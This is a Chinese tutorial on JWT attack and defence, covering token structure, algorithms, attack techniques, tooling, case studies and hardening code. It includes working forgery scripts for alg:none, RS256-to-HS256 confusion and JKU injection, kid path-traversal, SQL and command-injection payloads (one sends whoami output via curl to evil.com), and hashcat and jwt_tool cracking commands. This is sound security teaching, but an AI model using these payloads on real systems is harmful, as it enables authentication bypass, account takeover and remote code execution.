前言JWTJSON Web TokenRFC 7519是当前最流行的身份认证方案之一广泛应用于RESTful API、微服务架构、SSO单点登录等场景。随着JWT的普及其安全问题也日益凸显算法混淆攻击、密钥爆破、敏感信息泄露等漏洞频繁出现。JWT几乎被所有现代Web应用采用从Spring Cloud微服务到Kubernetes集群从OAuth2.0授权服务器到移动端App都离不开它。一个JWT漏洞往往意味着身份伪造、越权访问攻击者可以绕过认证直接以管理员身份接管系统造成的危害不亚于SQL注入和反序列化漏洞。【警告】法律免责声明本文所述技术仅用于授权的安全测试、CTF竞赛和防御研究。未经授权对真实系统进行攻击属于违法行为可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条非法侵入计算机信息系统罪等相关法律。读者需在合法授权范围内使用本文知识作者不对任何滥用行为承担责任。一、JWT基础1.1 什么是JWTJWT是一种紧凑的、URL安全的令牌格式用于在各方之间以JSON对象的形式安全传递信息。它之所以安全是因为信息经过了数字签名可以验证完整性和来源。一个JWT由三部分组成Header.Payload.Signature三部分之间用点号.分隔。JWT通常看起来是一长串看似随机的Base64URL编码字符串常见于HTTP请求头中的Authorization字段、URL查询参数或Cookie中。1.2 JWT结构详解一个完整的JWT Token示例如下eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c对三段分别进行Base64URL解码可以看到其内部结构。第一段 Header头部声明Token类型和签名算法。{alg:HS256,typ:JWT}第二段 Payload载荷存放声明Claims如用户ID、角色、过期时间等。{sub:1234567890,name:John Doe,role:admin,iat:1516239022}第三段 Signature签名使用Header指定的算法对base64url(Header) . base64url(Payload) 进行签名得到的结果。HMACSHA256(base64UrlEncode(header) . base64UrlEncode(payload), secret)1.3 JWT Claims详解JWT的Payload中存放的声明分为三类标准声明RFC 7519定义、公共声明和私有声明。下表列出标准声明| Claim | 全称 | 含义 | 示例 || iss | Issuer | 签发者标识 | iss:auth.example.com || sub | Subject | 主题/用户标识 | sub:1234567890 || aud | Audience | 接收方 | aud:api.example.com || exp | Expiration Time | 过期时间Unix时间戳 | exp:1735689600 || nbf | Not Before | 生效时间 | nbf:1516239022 || iat | Issued At | 签发时间 | iat:1516239022 || jti | JWT ID | 唯一标识防重放 | jti:a-uuid-string |此外还有自定义声明如role角色、user_id用户ID、email邮箱、permissions权限列表等由业务自行定义。1.4 JWT vs Session传统的Session认证将用户状态保存在服务端而JWT将状态保存在Token中由客户端持有两者在架构上有本质区别。| 对比项 | JWT | Session || 存储位置 | 客户端Token | 服务端内存/Redis || 扩展性 | 好无状态天然分布式 | 差需共享Session存储 || 撤销能力 | 弱签发后无法主动撤销 | 强删除即可立即失效 || 安全控制 | 依赖签名算法和密钥 | 依赖服务端Session存储安全 || 带宽消耗 | 较大每次请求携带Token | 较小仅携带Session ID || 适用场景 | API/微服务/移动端/SSO | 传统Web应用 |【提示】JWT的无状态特性是双刃剑带来了横向扩展的便利却也带来了撤销困难的根本性缺陷这也是后续多个攻击场景的根源。二、JWT签名算法详解2.1 对称签名算法HMAC对称签名算法使用同一个密钥进行签名和验证属于HMAC系列。常见的有- HS256HMAC SHA-256- HS384HMAC SHA-384- HS512HMAC SHA-512其签名原理为HMAC(key, base64url(Header) . base64url(Payload)) Signature。签名和验证双方共享同一个密钥因此密钥一旦泄露任何人都可以伪造合法Token。安全前提是密钥必须保密、足够长至少256位、足够随机且不能硬编码在代码或配置文件中。HS256最大的问题在于密钥分发——所有需要验证Token的服务都必须持有同一个密钥增加了泄露面。2.2 非对称签名算法RSA/ECDSA非对称签名算法使用私钥签名、公钥验证解决了对称算法的密钥分发问题。常见算法- RS256/RS384/RS512RSA SHA-256/384/512公钥验签、私钥签名- ES256/ES384/ES512ECDSA SHA-256/384/512密钥更短但安全等级相同- PS256/PS384/PS512RSA-PSS概率性签名方案安全性更高其优势在于签名方授权服务器保管私钥验证方资源服务器只需公钥即可验证。即使公钥泄露也无法伪造签名。这在多服务架构中尤为关键授权服务器可以集中签发Token各微服务用公钥本地验证无需共享密钥。2.3 算法对比| 算法 | 类型 | 密钥管理 | 性能 | 适用场景 || HS256 | 对称 | 单密钥共享 | 较快 | 单体应用、内部服务 || RS256 | 非对称 | 公私钥分离 | 较慢 | 微服务、跨域验证 || ES256 | 非对称 | 公私钥分离 | 快于RSA | 移动端、IoT设备 || PS256 | 非对称 | 公私钥分离 | 较慢 | 高安全要求场景 || none | 无 | 无需密钥 | 最快 | 不应使用危险 |2.4 none算法none算法表示Token不进行签名即Header的alg字段为none。RFC 7519允许这种声明但任何生产环境都不应信任无签名的Token。然而很多JWT库在历史版本中存在缺陷当alg为none时直接通过验证这成为了JWT最经典的攻击向量后续章节会详细展开。【注意】none算法本身不是漏洞漏洞在于服务端验证逻辑没有正确拒绝none算法。许多早期库的实现问题让none攻击成为JWT安全的入门第一课。三、JWT安全漏洞与攻击3.1 alg:none攻击攻击原理将Header的alg修改为none删除Signature段只保留Header.Payload.或Header.Payload服务端如果信任无签名的JWT则攻击者可以伪造任意Token。攻击payload构造如下Header: {alg:none,typ:JWT}Payload: {sub:admin,role:admin,exp:9999999999}Signature: (空)最终Token形式为 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.注意末尾的点号。Python构造none攻击Token的代码import base64import jsondef base64url_encode(data):return base64.urlsafe_b64encode(data).rstrip(b).decode()header {alg: none, typ: JWT}payload {sub: admin, role: admin, exp: 9999999999}header_b64 base64url_encode(json.dumps(header).encode())payload_b64 base64url_encode(json.dumps(payload).encode())# none算法不需要签名末尾保留空Signaturetoken f{header_b64}.{payload_b64}.print(token)防御方案服务端必须维护算法白名单强制校验Token的alg字段拒绝none以及任何不在白名单内的算法。验证逻辑应显式指定期望的算法而非从Token中读取。3.2 算法混淆攻击RS256 - HS256降级攻击原理服务端原本使用RS256公钥验签攻击者将Header的alg改为HS256并使用服务端的公钥作为HMAC密钥进行签名。如果服务端的验证逻辑根据Token中的alg字段动态选择算法它会误用公钥做HMAC验证从而被攻击者用同一公钥签发的Token绕过。攻击条件有两个第一服务端公钥可获取如/.well-known/jwks.json、/jwks.json端点公开或证书文件泄露第二验证逻辑根据Token中的alg字段选择算法而非固定使用RS256。攻击步骤获取服务端公钥 - 将公钥转为PEM格式字符串 - 用该PEM字符串作为HS256密钥签名 - 发送伪造Token。Python完整利用代码import jwtimport requests# 1. 获取服务端公钥JWK Set端点jwks_url https://target.com/.well-known/jwks.jsonjwks requests.get(jwks_url).json()public_key jwk_to_pem(jwks[keys][0]) # 需用PyJWK或cryptography库转换# 2. 构造恶意Payloadpayload {sub: admin,role: superadmin,exp: 9999999999}# 3. 用公钥作为HS256密钥签名关键点token jwt.encode(payload, keypublic_key, algorithmHS256)print(Forged token:, token)# 4. 发送伪造Token访问管理员接口headers {Authorization: fBearer {token}}resp requests.get(https://target.com/api/admin/users, headersheaders)print(resp.status_code, resp.text)防御方案服务端固定验证算法不信任Token中的alg字段。在Java中应使用固定算法的解析器配置在Python中应明确传入expected_alg参数校验。同时限制公钥端点的访问必要时增加鉴权。3.3 JWT密钥爆破攻击原理HS256使用弱密钥时由于签名是确定性的同一密钥对同一内容产生相同签名攻击者可以离线字典爆破。对每个候选密钥计算HMAC与目标Token的Signature比对命中即得到真实密钥。工具一jwt_tool集成多种攻击。# jwt_tool爆破密钥python3 jwt_tool.py JWT_TOKEN -C -d /usr/share/wordlists/rockyou.txt# jwt_tool执行none攻击python3 jwt_tool.py JWT_TOKEN -X a# jwt_tool执行算法混淆攻击python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem工具二hashcatGPU加速爆破模式16500为JWT。# 提取JWT用于hashcat格式header.payload.signatureecho JWT_TOKEN jwt.txt# 字典攻击hashcat -a 0 -m 16500 jwt.txt wordlist.txt# 规则爆破hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r rules/best64.rule常见弱密钥列表实际渗透中命中率极高secretsecretkeysecretkey123key123456123456781234567890passwordpasswdadminadmin123jwtjwtsecretjwt_secretjwt-secret-keytokentokensecretmysecretmy-secret-keychangemedefaulttesttestkeyexampleexamplekeysampledemoqwertyabc123letmeiniloveyouroottoorpassw0rdPssw0rdsupersecret【注意】很多开源项目和教程直接使用secret或my-secret-key作为示例密钥开发者照抄到生产环境这是密钥爆破高发的根本原因。3.4 JKU/JWK注入攻击攻击原理JWT Header中可以指定jkuJWK Set URL或jwkJSON Web Key参数告诉服务端从哪里获取验证公钥。如果服务端未对jku来源做白名单校验攻击者在Header中注入自己的jku指向恶意服务器用自己的私钥签名Token服务端会从恶意服务器拉取公钥并验证通过。攻击步骤生成RSA密钥对 - 将公钥放在自己服务器的JWK Set文件中 - 修改Token Header的jku指向恶意服务器 - 用私钥签名Payload - 发送伪造Token。完整攻击代码import jwtimport requestsfrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.hazmat.primitives import serializationimport jsonimport base64# 1. 生成RSA密钥对private_key rsa.generate_private_key(public_exponent65537, key_size2048)public_key private_key.public_key()# 2. 导出公钥并构造JWK Set托管在攻击者服务器pub_pem public_key.public_bytes(encodingserialization.Encoding.PEM,formatserialization.PublicFormat.SubjectPublicKeyInfo)# 攻击者服务器 https://evil.com/jwks.json 返回该JWK Setjwks {keys: [pem_to_jwk(pub_pem)]}# 3. 构造恶意Payloadpayload {sub: admin,role: superadmin,exp: 9999999999}# 4. 构造带jku的Header用私钥签名headers {alg: RS256,typ: JWT,jku: https://evil.com/jwks.json,kid: attacker-key-1}token jwt.encode(payload, private_key, algorithmRS256, headersheaders)print(Forged token:, token)# 5. 发送伪造Tokenresp requests.get(https://target.com/api/admin,headers{Authorization: fBearer {token}})print(resp.status_code, resp.text)防御方案服务端必须维护jku白名单只允许从可信的签发方拉取公钥或干脆禁用jku/jwk动态加载使用本地预置的公钥。3.5 kid参数注入kidKey ID用于在多密钥场景下指定验证使用哪个密钥常被用作数据库查询或文件路径的参数。如果服务端未对kid做严格校验会产生多种注入攻击。目录遍历kid参数指向/etc/passwd或/dev/null等已知文件服务端读取该文件内容作为密钥。最经典的绕过是kid指向/dev/null使密钥为空攻击者用空字符串签名即可通过。Header: {alg:HS256,kid:../../../../dev/null,typ:JWT}SQL注入kid参数被拼入SQL查询攻击者通过注入控制查询返回的密钥。Header: {alg:HS256,kid:key UNION SELECT attacker-known-secret--,typ:JWT}命令注入kid参数被传入系统命令如文件读取命令攻击者注入命令执行。Header: {alg:HS256,kid:key|whoami,typ:JWT}Header: {alg:HS256,kid:key;curl https://evil.com/$(whoami),typ:JWT}【警告】kid注入看似不起眼但一旦命中命令注入往往直接导致RCE远程代码执行危害极大。审计时应重点关注kid参数的处理逻辑。3.6 敏感信息泄露Payload中存储敏感数据是JWT最常见的反模式。由于Base64URL只是编码不是加密任何人拿到Token都可以解码查看明文内容。常见泄露场景- Payload中明文存储用户ID、邮箱、手机号、角色、权限等敏感信息- JWT Token放在URL查询参数中传递导致Referer头泄露、浏览器历史记录泄露、服务器日志泄露- Token被存入localStorage遭受XSS攻击后被窃取3.7 JWT重放攻击攻击原理攻击者截获有效的JWT后重放使用。由于JWT无状态服务端无法区分是用户正常请求还是攻击者重放只要Token未过期就能通过验证。攻击条件同一Token可多次使用且无Nonce/序号校验、Token在传输中被截获如中间人攻击、日志泄露、Token有效期过长。重放攻击在支付、转账等敏感操作中危害尤其严重。3.8 过期时间绕过exp声明相关漏洞exp设置过长如一年、十年使Token长期有效完全不设置exp导致Token永久有效时钟偏移容忍度leeway参数设置过大如60秒以上使过期Token仍能短暂使用服务端未校验exp或校验逻辑有缺陷。3.9 漏洞汇总| 漏洞类型 | 原理 | 影响 | 检测方法 | 防御方案 || alg:none攻击 | 修改alg为none绕过签名 | 身份伪造 | 修改alg测试响应 | 算法白名单 || 算法混淆 | RS256降级HS256公钥签名 | 身份伪造 | 改alg用公钥签名 | 固定验证算法 || 密钥爆破 | 弱密钥离线字典爆破 | 密钥泄露后全面沦陷 | hashcat/jwt_tool爆破 | 强随机密钥 || JKU/JWK注入 | 篡改公钥来源 | 签名验证绕过 | 修改jku测试 | jku白名单 || kid注入 | kid参数未过滤 | 签名绕过/RCE | 注入测试kid | 参数校验/预编译 || 敏感信息泄露 | Payload明文存敏感数据 | 隐私泄露 | 解码Payload | Payload最小化 || 重放攻击 | 截获Token重放 | 越权操作 | 重放Token测试 | Nonce/序号校验 || 过期绕过 | exp设置不当 | 长期有效Token | 测试过期Token | 短exp刷新机制 |四、JWT攻击工具4.1 jwt_tooljwt_tool是JWT安全测试的瑞士军刀集解码、签名伪造、none攻击、密钥爆破、算法混淆、jwk注入于一体。安装与基本使用# 安装git clone https://github.com/ticarpi/jwt_tool.gitcd jwt_toolpython3 jwt_tool.py JWT_TOKEN# 解码查看python3 jwt_tool.py JWT_TOKEN# none攻击python3 jwt_tool.py JWT_TOKEN -X a# 算法混淆攻击需提供公钥python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem# 密钥爆破python3 jwt_tool.py JWT_TOKEN -C -d wordlist.txt# JWK注入攻击python3 jwt_tool.py JWT_TOKEN -X i -S hs256# 修改Payload并重新签名python3 jwt_tool.py JWT_TOKEN -T -I -pc role -pv admin -S hs256 -p secret4.2 JWT.ioJWT.io是Auth0提供的在线工具支持JWT解码、调试和重新签名。适合快速分析Token结构、测试不同算法的签名结果、对比修改前后的Token。优点是可视化直观缺点是不能用于爆破和自动化攻击。4.3 jwtcatjwtcat是专门针对JWT的hashcat封装工具支持字典、规则、掩码等多种爆破模式可调用GPU加速。# 字典爆破python3 jwtcat.py -t JWT_TOKEN -w wordlist.txt# 掩码爆破python3 jwtcat.py -t JWT_TOKEN -m ?d?d?d?d?d?d4.4 BurpSuite JWT插件JWT Editor是BurpSuite的官方插件可在Burp中手动修改Header和Payload并重新签名支持加载密钥、保存攻击模板适合在渗透测试中与请求拦截结合使用。| 工具 | 功能 | 适用场景 | 使用难度 || jwt_tool | 全功能JWT攻击 | 综合渗透测试 | 中 || JWT.io | 在线解码调试 | 快速分析 | 低 || jwtcat | hashcat封装爆破 | 大规模密钥爆破 | 中 || BurpSuite JWT Editor | 手动修改重签 | 渗透测试拦截 | 中 || hashcat | 通用哈希爆破 | GPU加速爆破 | 高 |五、JWT安全实战案例5.1 案例1算法混淆攻击获取管理员权限背景某企业OA系统使用JWT认证登录后返回RS256签名的Token普通员工只能查看自己的工单。完整流程第一步发现JWT。抓包发现请求头携带 Authorization: Bearer token解码后alg为RS256Payload含role:employee。第二步解码分析。发现Payload中有role字段控制权限且服务端/.well-known/jwks.json端点公开。第三步获取公钥。curl https://oa.target.com/.well-known/jwks.json -o jwks.json第四步将公钥转为PEM格式用公钥作为HS256密钥签名伪造admin Token。import jwtfrom jwt import PyJWKClient# 获取并转换公钥jwks_client PyJWKClient(https://oa.target.com/.well-known/jwks.json)signing_key jwks_client.get_signing_key_from_jwt(original_token)public_key_pem signing_key.key.public_bytes(encodingserialization.Encoding.PEM,formatserialization.PublicFormat.SubjectPublicKeyInfo).decode()# 用公钥作为HS256密钥签名forged jwt.encode({sub:1001,role:admin,exp:9999999999},keypublic_key_pem,algorithmHS256)print(forged)第五步越权访问。用伪造Token请求管理员接口成功获取全部员工工单和系统配置。5.2 案例2密钥爆破Token伪造背景某CTF靶场的API使用HS256签发JWT普通用户Token可访问受限接口。完整流程第一步捕获JWT。登录后从响应中获取Token。第二步hashcat爆破密钥。echo eyJhbGciOiJIUzI1NiIs... jwt.txthashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt第三步发现弱密钥。爆破结果为s3cr3t典型弱口令。第四步伪造任意用户Token。import jwttoken jwt.encode({sub:1,role:admin,exp:9999999999},keys3cr3t,algorithmHS256)print(token)第五步接管账号。用伪造的admin Token访问/flag接口成功获取Flag。5.3 案例3kid目录遍历绕过签名验证背景某应用JWT Header含kid字段服务端用kid作为文件名从密钥目录读取密钥文件。完整流程第一步分析kid参数。解码Token发现Header含kid: key01推测服务端读取/path/to/keys/key01作为密钥。第二步目录遍历指向/dev/null。Header: {alg:HS256,kid:../../../../dev/null,typ:JWT}Payload: {sub:admin,role:admin,exp:9999999999}第三步空密钥签名。/dev/null内容为空攻击者用空字符串作为HMAC密钥签名。import jwttoken jwt.encode({sub:admin,role:admin,exp:9999999999},key,algorithmHS256,headers{kid:../../../../dev/null})print(token)第四步绕过验证。发送Token服务端读取/dev/null得到空密钥HMAC验证通过成功以admin身份登录。六、JWT安全防御方案6.1 算法白名单服务端应固定使用RS256或ES256等非对称算法拒绝none和HS256降级。验证逻辑不信任Token中的alg字段显式指定期望算法。// Java (jjwt库) 固定算法示例JwsClaims claims Jwts.parserBuilder().setSigningKey(publicKey).setAllowedAlgorithms(SignatureAlgorithm.RS256) // 显式指定算法.build().parseClaimsJws(token);# Python (PyJWT) 固定算法示例import jwtclaims jwt.decode(token,keypublic_key_pem,algorithms[RS256], # 显式指定拒绝其他算法options{require: [exp, iat]})6.2 密钥管理使用256位以上随机密钥定期轮换建议90天一次密钥不硬编码。应使用密钥管理服务KMS、HashiCorp Vault、AWS KMS托管密钥应用启动时从KMS动态获取。# 生成强随机密钥import secretssecret secrets.token_urlsafe(48) # 约384位熵print(secret)6.3 Payload最小化Payload不存储敏感数据只存必要的用户标识敏感字段通过服务端查询获取。安全Claims配置示例{iss: auth.example.com,sub: user-uuid-xxx,aud: api.example.com,exp: 1693526400,nbf: 1693522800,iat: 1693522800,jti: 550e8400-e29b-41d4-a716-446655440000}注意不要存储明文邮箱、手机号、角色权限列表这些应通过sub在服务端实时查询。6.4 过期与刷新机制采用短exp如15分钟的Access Token 长exp如7天的Refresh Token组合。Refresh Token存储在服务端可主动撤销。Token刷新流程客户端用Refresh Token请求/refresh端点 - 服务端校验Refresh Token有效性 - 签发新的Access Token和Refresh Token滚动刷新 - 旧的Refresh Token失效。# Access Token: 15分钟access_token jwt.encode({sub: user_id, type: access,exp: now 900, iat: now, jti: str(uuid4())}, secret, algorithmHS256)# Refresh Token: 7天存入Redis便于撤销refresh_token jwt.encode({sub: user_id, type: refresh,exp: now 604800, iat: now, jti: str(uuid4())}, refresh_secret, algorithmHS256)redis.setex(frefresh:{refresh_jti}, 604800, user_id)6.5 Token撤销机制由于JWT无状态撤销需借助外部存储。常见方案黑名单机制撤销的Token的jti存入RedisTTL等于Token剩余有效期、短TokenRefresh TokenAccess Token过期快撤销Refresh Token即可切断会话、版本号机制用户登出或改密时递增版本号Token中携带版本号比对。# Redis黑名单实现def revoke_token(jti, exp):ttl exp - int(time.time())if ttl 0:redis.setex(fjwt:blacklist:{jti}, ttl, 1)def is_revoked(jti):return redis.exists(fjwt:blacklist:{jti})# 验证时检查黑名单def verify_token(token):claims jwt.decode(token, key, algorithms[HS256])if is_revoked(claims[jti]):raise TokenRevokedError(Token已撤销)return claims6.6 安全传输强制HTTPS传输Token通过Authorization Header传递而非URL参数避免Referer和日志泄露。设置Cookie时使用HttpOnly、Secure、SameSiteStrict属性。# 安全的Cookie设置Set-Cookie: tokenxxx; HttpOnly; Secure; SameSiteStrict; Path/6.7 完整安全配置示例Java Spring Security安全实现ConfigurationEnableWebSecuritypublic class JwtSecurityConfig {Beanpublic JwtDecoder jwtDecoder() {// 固定RS256算法从JWK Set加载return NimbusJwtDecoder.withJwkSetUri(https://auth.example.com/jwks).jwsAlgorithm(SignatureAlgorithm.RS256) // 固定算法.build();}Beanpublic SecurityFilterChain filterChain(HttpSecurity http) throws Exception {http.authorizeHttpRequests(auth - auth.requestMatchers(/api/admin/**).hasRole(ADMIN).anyRequest().authenticated()).oauth2ResourceServer(oauth2 - oauth2.jwt(Customizer.withDefaults())).csrf(csrf - csrf.disable()).sessionManagement(s - s.sessionCreationPolicy(SessionCreationPolicy.STATELESS));return http.build();}}Python PyJWT安全实现import jwtimport timeimport uuidfrom functools import lru_cacheclass JwtService:def __init__(self, public_key, private_keyNone):self.public_key public_keyself.private_key private_keydef issue(self, subject, ttl900):now int(time.time())return jwt.encode({iss: auth.example.com,sub: subject,aud: api.example.com,iat: now,nbf: now,exp: now ttl,jti: str(uuid.uuid4())}, self.private_key, algorithmRS256)def verify(self, token):try:claims jwt.decode(token, self.public_key,algorithms[RS256], # 固定算法issuerauth.example.com, # 校验签发者audienceapi.example.com, # 校验接收方options{require: [exp, iat, jti, iss, aud]},leeway5 # 时钟偏移容忍5秒)if is_revoked(claims[jti]):raise ValueError(Token已撤销)return claimsexcept jwt.PyJWTError as e:raise ValueError(fToken验证失败: {e})七、总结JWT安全攻防的核心在于理解签名机制和验证逻辑。攻击者总是寻找验证逻辑的薄弱点是否信任了Token中的alg、是否使用弱密钥、是否对外暴露了公钥端点、是否未校验jku/kid等Header参数。防御者则需守住三条底线算法固定不可降级、密钥足够强且保密、Payload最小化且可撤销。JWT安全审计清单1. 算法是否固定验证时是否显式指定算法拒绝none和降级2. 密钥是否足够强是否使用256位以上随机密钥是否硬编码3. Payload是否最小化是否存储敏感数据是否仅存必要标识4. exp是否合理是否设置短exp是否配合Refresh Token5. 是否支持撤销是否实现黑名单或Refresh Token轮换6. 传输是否安全是否强制HTTPS是否使用Header而非URL7. Header参数是否校验kid是否过滤、jku是否白名单推荐学习资源JWT.io在线工具与文档、RFC 7519JWT标准原文、PortSwigger Web Security Academy的JWT Labs实操靶场、jwt_tool项目仓库攻击工具与案例、OWASP JWT Cheat Sheet防御最佳实践。掌握JWT安全攻防既是渗透测试的必备技能也是开发安全应用的基础。希望本文的保姆级讲解能帮助读者在实际工作中既会攻也会防构建更安全的身份认证体系。